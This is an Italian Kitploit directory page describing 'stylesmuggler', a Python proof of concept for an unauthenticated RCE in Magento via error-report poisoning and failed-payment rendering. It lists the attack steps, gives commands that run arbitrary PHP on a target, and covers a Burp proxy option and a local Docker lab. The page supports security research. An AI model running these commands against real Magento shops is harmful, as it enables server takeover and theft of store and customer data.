Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
stylesmuggler — PoC Python che riproduce CVE-2026-75650 StyleSmuggler, un RCE non autenticato su Magento tramite avvelenamento dei report e rendering dei pagamenti falliti, con verifica canary. | Kitploit
Strumenti/GitHubGitHub/fortbridge/stylesmuggler
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingStrumento di Accesso Remoto
GitHubfortbridge/stylesmuggler

stylesmuggler

PoC Python che riproduce CVE-2026-75650 StyleSmuggler, un RCE non autenticato su Magento tramite avvelenamento dei report e rendering dei pagamenti falliti, con verifica canary.

Vedi Repository
842620 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

StyleSmuggler HTTP PoC

Repository di ricerca privato per la riproduzione solo HTTP di StyleSmuggler, CVE-2026-75650, contro un laboratorio locale di Magento Open Source.

Leggi la guida tecnica completa in Magento StyleSmuggler RCE: Report Poisoning to Code Execution.

Il PoC Python esegue la sequenza completa non autenticata:

  1. avvelena un report di errore di Magento e legge il suo report ID dalla risposta;
  2. crea un carrello guest;
  3. imposta l'email guest richiesta dalla notifica di pagamento fallito;
  4. memorizza la costruzione annidata del parser dell'indirizzo di fatturazione;
  5. attiva il rendering del pagamento fallito con type, text e styles nella query string;
  6. recupera un nuovo canary per esecuzione via HTTP.

Non copia mai un helper nel container né invoca lo scanner tramite Docker. La libreria standard di Python è sufficiente.

Esecuzione contro un laboratorio esistente

python3 exploit.py --target http://localhost:18082

L'output finale deve contenere RCE VERIFIED e lo stesso marcatore fresco STYLESMUGGLER_RUN_... stampato in precedenza in quella esecuzione. Un canary esistente non può soddisfare il controllo perché ogni esecuzione genera un nuovo marcatore.

Il percorso del report deve essere il percorso visto dal processo PHP di destinazione. Sovrascrivilo quando Magento usa un'altra document root:

python3 exploit.py \
  --target http://localhost:18082 \
  --report-dir /srv/magento/var/report

PHP personalizzato

Passa istruzioni PHP senza <?php o ?>:

python3 exploit.py \
  --target http://localhost:18082 \
  --code 'file_put_contents(getcwd()."/custom-test.txt", "PHP ".PHP_VERSION.PHP_EOL);'

curl -sS http://localhost:18082/custom-test.txt

Il PoC scrive il suo marcatore di verifica fresco prima di eseguire il frammento fornito e verifica comunque quel marcatore in seguito.

Burp

Ogni richiesta, inclusi l'avvelenamento del report e il recupero finale del canary, può essere inviata attraverso un proxy HTTP:

python3 exploit.py \
  --target http://localhost:18082 \
  --proxy http://127.0.0.1:8082

Aggiungi --proxy-insecure per un target HTTPS il cui certificato intercettato non è considerato attendibile da Python.

Flusso curl manuale

curl_failed_payment.sh esegue le quattro richieste della Fase 2 ed etichetta il componente Magento raggiunto da ciascuna richiesta. Richiede curl, jq e openssl:

./curl_failed_payment.sh /var/www/html/var/report/REPORT_ID

Imposta un altro target o listener Burp tramite variabili d'ambiente:

MAGENTO_URL=http://localhost:18082 \
BURP_PROXY=http://127.0.0.1:8082 \
./curl_failed_payment.sh /var/www/html/var/report/REPORT_ID

Target locale

docker-compose.yml fornisce servizi isolati MySQL, OpenSearch e PHP/Apache su 127.0.0.1:18082. Si aspetta un albero sorgente di Magento installato in ./magento2-src.

La validazione finale pulita ha usato il commit di Magento:

f8405be831efa461ec18cc5a637cd98afa767015

Clona il sorgente e installa le sue dipendenze Composer prima di eseguire il normale processo setup:install di Magento:

git clone --filter=blob:none --branch 2.4-develop \
  https://github.com/magento/magento2.git magento2-src
git -C magento2-src checkout f8405be831efa461ec18cc5a637cd98afa767015

docker compose build web
docker compose up -d db opensearch
docker compose run --rm web composer install --no-interaction

Dopo che Magento è installato con host del database db, host OpenSearch opensearch e URL di base http://localhost:18082/, avvia il servizio web:

docker compose up -d web
docker compose ps
Scarica lo strumento